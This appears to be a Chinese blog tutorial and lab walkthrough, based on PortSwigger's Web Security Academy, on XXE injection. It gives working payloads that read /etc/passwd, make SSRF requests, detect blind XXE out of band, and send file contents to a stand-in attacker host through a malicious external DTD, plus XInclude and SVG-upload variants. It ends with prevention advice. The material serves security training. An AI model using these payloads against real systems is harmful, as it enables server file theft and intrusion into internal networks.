侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

XML外部实体注入

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 279 阅读 / 11,165 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

XML 外部实体 (XXE) 注入


image-20211013160550940

什么是XML外部实体注入?

​ XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,将 XXE 攻击升级以破坏底层服务器或其他后端基础设施。

XEE漏洞是如何产生的?

​ 一些应用程序使用 XML 格式在浏览器和服务器之间传输数据。执行此操作的应用程序实际上总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范包含各种潜在的危险特性,标准解析器支持这些特性,即使它们通常不被应用程序使用。

XML实体
什么是XML?

​ XML 代表“可扩展标记语言”。XML 是一种设计用于存储和传输数据的语言。与 HTML 一样,XML 使用标记和数据的树状结构。与 HTML 不同,XML 不使用预定义标签,因此可以为标签指定描述数据的名称。在 Web 历史的早期,XML 作为一种数据传输格式非常流行(“AJAX”中的“X”代表“XML”)。但它的受欢迎程度现在已经下降,转而支持 JSON 格式。

什么是XML实体?

​ XML 实体是在 XML 文档中表示数据项的一种方式,而不是使用数据本身。XML 语言的规范中内置了各种实体。例如,实体&lt&gt代表字符<>。这些是用于表示 XML 标签的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。

什么是文档类型定义?

​ XML 文档类型定义 (DTD) 包含的声明可以定义 XML 文档的结构、它可以包含的数据值的类型以及其他项目。DTDDOCTYPE在 XML 文档开头的可选元素中声明。DTD 可以完全独立于文档本身(称为“内部 DTD”),也可以从其他地方加载(称为“外部 DTD”),也可以是两者的混合。

什么是 XML 自定义实体?

​ XML 允许在 DTD 中定义自定义实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着&myentity;XML 文档中实体引用的任何用法都将替换为定义的值:“ my entity value”。

什么是 XML 外部实体?

​ XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 之外。

外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的 URL。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL 可以使用file://协议,因此可以从文件加载外部实体。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML 外部实体提供了发生XML 外部实体攻击的主要手段。

​ XML 外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别有趣,因为它们允许根据文件路径或 URL 的内容定义实体。

XEE攻击有哪些类型?

有多种类型的XXE攻击

  • 利用XXE来检索file:其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回。
  • 利用XXE来执行SSRF攻击:其中根据后端系统的 URL 定义外部实体。
  • 利用盲XXE外带数据泄露:敏感数据从应用服务器传输到攻击者控制的系统。
  • 利用盲XXE通过错误消息检索数据:攻击者可以在其中触发包含敏感数据的解析错误消息。
利用XXE检索文件

要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

  • 引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素。
  • 编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。

例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>381</productId></stockCheck>

该应用程序没有针对 XXE 攻击执行特定的防御,因此您可以/etc/passwd通过提交以下 XXE 负载来利用 XXE 漏洞来检索文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;
</productId></stockCheck>

这个 XXE 负载定义了一个外部实体,&xxe;它的值是/etc/passwd文件的内容,并使用productId值中的实体。这会导致应用程序的响应包含文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Tips
对于真实世界的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个都可能在应用程序的响应中使用。要系统地测试 XXE 漏洞,您通常需要单独测试 XML 中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中。
LAB:利用外部实体XXE来检索文件

image-20211013164731769

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

image-20211013164845338

利用XXE进行SSRF攻击

​ 除了检索敏感数据之外,XXE 攻击的另一个主要影响是它们可用于执行服务器端请求伪造 (SSRF)。这是一个潜在的严重漏洞,其中可以诱导服务器端应用程序向服务器可以访问的任何 URL 发出 HTTP 请求。

要利用 XXE 漏洞执行SSRF 攻击,您需要使用要定位的 URL 定义外部 XML 实体,并在数据值中使用定义的实体。如果您可以在应用程序响应中返回的数据值中使用定义的实体,那么您将能够从应用程序响应中的 URL 查看响应,从而获得与后端系统的双向交互。如果没有,那么您将只能执行盲目的 SSRF攻击(这仍然会产生严重的后果)。

在以下 XXE 示例中,外部实体将导致服务器向组织基础架构内的内部系统发出后端 HTTP 请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
LAB:利用XXE进行SSRF攻击

image-20211013165611468

image-20211013165821968

响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,最初是文件夹名称。

image-20211013170001131

image-20211013165940626

盲XXE漏洞

​ 许多 XXE 漏洞实例都是盲目的。这意味着应用程序不会在其响应中返回任何定义的外部实体的值,因此无法直接检索服务器端文件。

​ 仍然可以检测和利用 Blind XXE 漏洞,但需要更先进的技术。您有时可以使用带外技术来查找漏洞并利用它们来窃取数据。您有时会触发 XML 解析错误,从而导致错误消息中的敏感数据泄露。

寻找和利用盲XXE漏洞
什么是盲XXE?

​ 当应用程序容易受到XXE 注入但不返回其响应中任何定义的外部实体的值时,就会出现盲 XXE 漏洞。这意味着直接检索服务器端文件是不可能的,因此盲 XXE 通常比常规 XXE 漏洞更难被利用。

有两种广泛的方法可以找到和利用盲 XXE 漏洞:

  • 可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
  • 可以通过错误消息包含敏感数据的方式触发 XML 解析错误。
使用外带(OAST)技术检测盲XXE

​ 通常可以使用与XXE SSRF 攻击相同的技术检测盲 XXE,但会触发与目标系统的外带网络交互。例如,可以按如下方式定义外部实体:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,在 XML 内的数据值中使用定义的实体。

此 XXE 攻击会导致服务器向指定的 URL 发出后端 HTTP 请求。攻击者可以监控由此产生的 DNS 查找和 HTTP 请求,从而检测到 XXE 攻击是否成功。

LAB:带外交互盲XXE

image-20211013172531197

​ 有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您或许可以改用 XML 参数实体。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他地方引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明包括实体名称前的百分比字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,使用百分比字符而不是通常的与号来引用参数实体:

%myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

这个 XXE 负载声明了一个被调用的 XML 参数实体xxe,然后在 DTD 中使用该实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,从而验证攻击是否成功。

LAB:通过XML参数实体进行带外交互时的Blind XXE

image-20211014093441888

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://fwfngu43386c38iswgskiu0ev51xpm.burpcollaborator.net"> %xxe; ]>

image-20211014093423722

利用盲XXE泄露带外数据

​ 通过带外技术检测盲 XXE 漏洞非常好,但它实际上并没有展示如何利用该漏洞。攻击者真正想要实现的是泄露敏感数据。这可以通过盲 XXE 漏洞来实现,但它涉及攻击者在他们控制的系统上托管恶意 DTD,然后从带内 XXE 负载内调用外部 DTD。

恶意 DTD 窃取/etc/passwd文件内容的示例如下:

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">%eval;%exfiltrate;

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体file,其中包含/etc/passwd文件的内容。
  • 定义一个名为 的 XML 参数实体eval,其中包含另一个名为 的 XML 参数实体的动态声明exfiltrate。该exfiltrate实体将通过使含有的值的HTTP请求到攻击者的web服务器进行评价fileURL查询字符串内的实体。
  • 使用eval实体,这会导致exfiltrate执行实体的动态声明。
  • 使用exfiltrate实体,以便通过请求指定的 URL 来评估其值。

然后攻击者必须在他们控制的系统上托管恶意 DTD,通常是通过将其加载到他们自己的网络服务器上。例如,攻击者可能在以下 URL 处提供恶意 DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向易受攻击的应用程序提交以下 XXE 负载:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM"http://web-attacker.com/malicious.dtd"> %xxe;]>

这个 XXE 负载声明了一个被调用的 XML 参数实体xxe,然后在 DTD 中使用该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并内联解释它。然后执行恶意 DTD 中定义的步骤,并将/etc/passwd文件传输到攻击者的服务器。

Tips:
此技术可能不适用于某些文件内容,包括文件中包含的换行符/etc/passwd。这是因为一些 XML 解析器使用 API 获取外部实体定义中的 URL,该 API 验证允许出现在 URL 中的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,不可能泄露包含换行符的数据,因此/etc/hostname可以将诸如此类的文件作为目标。
LAB:利用XXE使用恶意外部DTD来窃取数据

image-20211014094924076

https://exploit-ac7f1f391eb95ccdc0c7ba07012700fe.web-security-academy.net/exploit

image-20211014095655546

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac7f1f391eb95ccdc0c7ba07012700fe.web-security-academy.net/exploit"> %xxe;]>

利用盲XXE通过错误消息检索数据

​ 利用盲 XXE 的另一种方法是触发 XML 解析错误,其中错误消息包含您希望检索的敏感数据。如果应用程序在其响应中返回结果错误消息,这将是有效的。

您可以/etc/passwd使用恶意外部 DTD触发包含文件内容的 XML 解析错误消息,如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体file,其中包含/etc/passwd文件的内容。
  • 定义一个名为 的 XML 参数实体eval,其中包含另一个名为 的 XML 参数实体的动态声明error。该error实体将通过加载一个不存在的文件名称中包含的价值进行评估file实体。
  • 使用eval实体,这会导致error执行实体的动态声明。
  • 使用error实体,以便通过尝试加载不存在的文件来评估其值,从而导致包含不存在文件的名称(即文件内容)的错误消息/etc/passwd

调用恶意外部 DTD 将导致如下错误消息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin...
LAB:利用盲XXE通过错误消息检索数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwdfile

image-20211014100326493

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac311f691f14ebabc0574a4301cb0058.web-security-academy.net/exploit"> %xxe;]>
/etc/passwd

image-20211014100532633

通过重新利用本地 DTD 来利用盲目的 XXE

​ 前面的技术适用于外部 DTD,但它通常不适用于完全在DOCTYPE元素内指定的内部 DTD 。这是因为该技术涉及在另一个参数实体的定义中使用 XML 参数实体。根据 XML 规范,这在外部 DTD 中是允许的,但在内部 DTD 中是不允许的。(一些解析器可能会容忍它,但许多不会。)

那么当带外交互被阻止时,盲目的 XXE 漏洞呢?您无法通过带外连接窃取数据,也无法从远程服务器加载外部 DTD。

在这种情况下,由于 XML 语言规范中的漏洞,仍有可能触发包含敏感数据的错误消息。如果文档的 DTD 使用内部和外部 DTD 声明的混合,则内部 DTD 可以重新定义在外部 DTD 中声明的实体。发生这种情况时,对在另一个参数实体的定义中使用 XML 参数实体的限制就放宽了。

这意味着攻击者可以在内部 DTD 中使用基于错误的 XXE技术,前提是他们使用的 XML 参数实体正在重新定义在外部 DTD 中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部 DTD。相反,它需要是应用程序服务器本地的外部 DTD 文件。从本质上讲,攻击涉及调用恰好存在于本地文件系统上的 DTD 文件,并重新利用它以触发包含敏感数据的解析错误的方式重新定义现有实体。该技术由 Arseniy Sharoglazov 首创,在2018 年十大网络黑客技术中排名第 7 。

例如,假设服务器文件系统上的位置有一个 DTD 文件/usr/local/app/schema.dtd,这个 DTD 文件定义了一个名为 的实体custom_entity。攻击者可以/etc/passwd通过提交如下所示的混合 DTD来触发包含文件内容的 XML 解析错误消息:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体local_dtd,其中包含存在于服务器文件系统上的外部 DTD 文件的内容。
  • 重新定义名为 的 XML 参数实体custom_entity,该实体已在外部 DTD 文件中定义。该实体被重新定义为包含已经描述的基于错误的 XXE 漏洞利用,用于触发包含/etc/passwd文件内容的错误消息。
  • 使用local_dtd实体,以便解释外部 DTD,包括custom_entity实体的重新定义值。这将导致所需的错误消息。
定位现有DTD文件以重新调整用途

​ 由于此 XXE 攻击涉及重新利用服务器文件系统上现有的 DTD,因此关键要求是找到合适的文件。这实际上很简单。因为应用程序会返回 XML 解析器抛出的任何错误消息,所以您可以通过尝试从内部 DTD 中加载本地 DTD 文件来轻松枚举本地 DTD 文件。

例如,使用 GNOME 桌面环境的 Linux 系统通常在/usr/share/yelp/dtd/docbookx.dtd. 您可以通过提交以下 XXE 负载来测试此文件是否存在,如果文件丢失,则会导致错误:

<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>

在测试了常见 DTD 文件列表以定位存在的文件后,需要获取该文件的副本并查看它以找到可以重新定义的实体。由于许多包含 DTD 文件的常见系统都是开源的,因此通常可以通过 Internet 搜索快速获取文件副本。

LAB:利用 XXE 通过重新利用本地 DTD 来检索数据
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
ISOamso/etc/passwd

image-20211014101522574

寻找XXE注入的隐藏攻击面

​ XXE 注入漏洞的攻击面在很多情况下是显而易见的,因为应用程序的正常 HTTP 流量包括包含 XML 格式数据的请求。在其他情况下,攻击面不太明显。但是,如果找对地方,就会在不包含任何 XML 的请求中发现 XXE 攻击面。

X包含(XInclude)攻击

​ 一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求,然后由后端 SOAP 服务处理时,就会发生这种情况。

在这种情况下,无法执行经典的 XXE 攻击,因为无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,也许可以XInclude改用。XInclude是 XML 规范的一部分,它允许从子文档构建 XML 文档。可以XInclude在 XML 文档中的任何数据值中放置攻击,因此可以在控制放置在服务器端 XML 文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,需要引用XInclude命名空间并提供要包含的文件的路径。例如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
LAB:利用XInclude检索文件
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

image-20211014102221979

通过文件上传的XXE攻击

​ 一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例是办公文档格式(如 DOCX)和图像格式(如 SVG)。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,所使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意的 SVG 图像,从而达到 XXE 漏洞的隐藏攻击面。

LAB:通过上次文件利用XXE
使用以下内容创建本地 SVG 图像:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
在博客文章上发表评论,并上传此图片作为头像。
查看评论时,应该会/etc/hostname在图像中看到文件的内容

image-20211014104710247

通过修改内容类型进行XXE攻击

​ 大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 一些网站希望接收这种格式的请求,但会容忍其他内容类型,包括 XML。

例如,如果正常请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后您可以提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52<?xml version="1.0" encoding="UTF-8"?>

<foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

如何查找和测试XXE漏洞

使用 Burp Suite 的Web 漏洞扫描器可以快速可靠地找到绝大多数 XXE 漏洞。

手动测试 XXE 漏洞通常涉及:

  • 通过定义基于众所周知的操作系统文件的外部实体并在应用程序响应中返回的数据中使用该实体来 测试文件检索
  • 通过根据控制的系统的 URL 定义外部实体并监视与该系统的交互来 测试盲 XXE 漏洞Burp Collaborator 客户端非常适合此目的。
  • 通过使用XInclude 攻击尝试检索众所周知的操作系统文件,测试服务器端 XML 文档中是否包含用户提供的非 XML 数据的漏洞。

如何预防XXE漏洞

​ 几乎所有 XXE 漏洞的出现都是因为应用程序的 XML 解析库支持应用程序不需要或打算使用的潜在危险的 XML 功能。防止 XXE 攻击的最简单和最有效的方法是禁用这些功能。

​ 通常,禁用外部实体的解析并禁用对XInclude. 这通常可以通过配置选项或以编程方式覆盖默认行为来完成。有关如何禁用不必要的功能的详细信息,请参阅 XML 解析库或 API 的文档。

0

评论区